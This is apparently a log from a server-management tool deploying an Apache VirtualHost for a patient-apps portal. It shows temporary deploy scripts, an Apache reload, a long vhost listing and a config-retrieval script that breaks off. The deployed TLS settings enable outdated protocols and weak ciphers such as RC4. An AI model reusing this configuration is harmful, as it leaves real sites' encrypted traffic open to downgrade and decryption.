    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-13 06:00:45: 

PUT: /tmp/pkp625875

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi


2025-11-13 06:00:45: 

chmod 755 /tmp/pkp625875; /tmp/pkp625875; rm /tmp/pkp625875

2025-11-13 06:00:45: 




2025-11-13 06:00:45: 

PUT: /tmp/pkp803693

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-13 06:00:45: 

chmod 755 /tmp/pkp803693; /tmp/pkp803693; rm /tmp/pkp803693

2025-11-13 06:00:45: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-13 06:00:45: Establishing a connection
2025-11-13 06:00:46: 

PUT: /tmp/pkp162785

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-13 06:00:46: 

chmod 755 /tmp/pkp162785; /tmp/pkp162785; rm /tmp/pkp162785

2025-11-13 06:00:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-13 06:00:46: 

PUT: /tmp/pkp252342

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
